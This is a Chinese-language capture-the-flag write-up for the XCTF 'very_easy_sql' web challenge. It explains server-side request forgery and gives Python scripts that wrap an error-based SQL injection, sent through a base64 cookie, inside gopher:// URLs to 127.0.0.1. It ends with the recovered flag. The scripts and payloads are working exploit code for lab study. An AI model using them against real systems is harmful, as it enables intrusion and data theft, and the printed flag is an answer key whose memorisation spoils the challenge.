主要参考
攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-优快云博客
【xctf之very_easy_sql】_xctf veryeasysql-优快云博客
题目进来提示要内部用户
进行了注入点测试 单引号 双引号 括号无反应
响应包中有
Set-Cookie: this_is_your_cookie=deleted
前面提示了内部用户这里还this_is_your_cookie 猜测是注入点
ssrf详解
什么是ssrf
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
我理解的是相当于内网穿透,你获取到其中一个内网主机,可以用这个内网主机作为服务器向其他的内网机器发起攻击。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。ssrf的利用
分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
转码服务,适应硬件设备的大小;
图片的加载与下载
图片,文章的收藏;
产生SSRF漏洞的函数
file_get_contents
fsockopen()
ssrf漏洞利用
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
本题目就是运用第六种,gopher协议。
url curl 这是ssrf的关键字
gopher协议的构造脚本
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
payload =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
返回数据包
YWRtaW4%3D base64解码 admin7
首先测试是字符型还是整数型注入,构造payload为admin' #
测试后发现不回显信息 只有报错信息
admim')#
闭合点为 ')
报错注入模板 admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #
后面就正常sql注入流程
优化一下脚本
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie = "this_is_your_cookie=" + base64_payload
test = \
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host, cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)
到最后一步时flag显示不完全
报错的回显最大位数为32位,此时我们只获得了32位,需要用substr函数进行分割读取
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,36),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie = "this_is_your_cookie=" + base64_payload
test = \
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host, cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)
flag为cyberpeace{22989b8c300c9bbcfef8db91dcc59a13}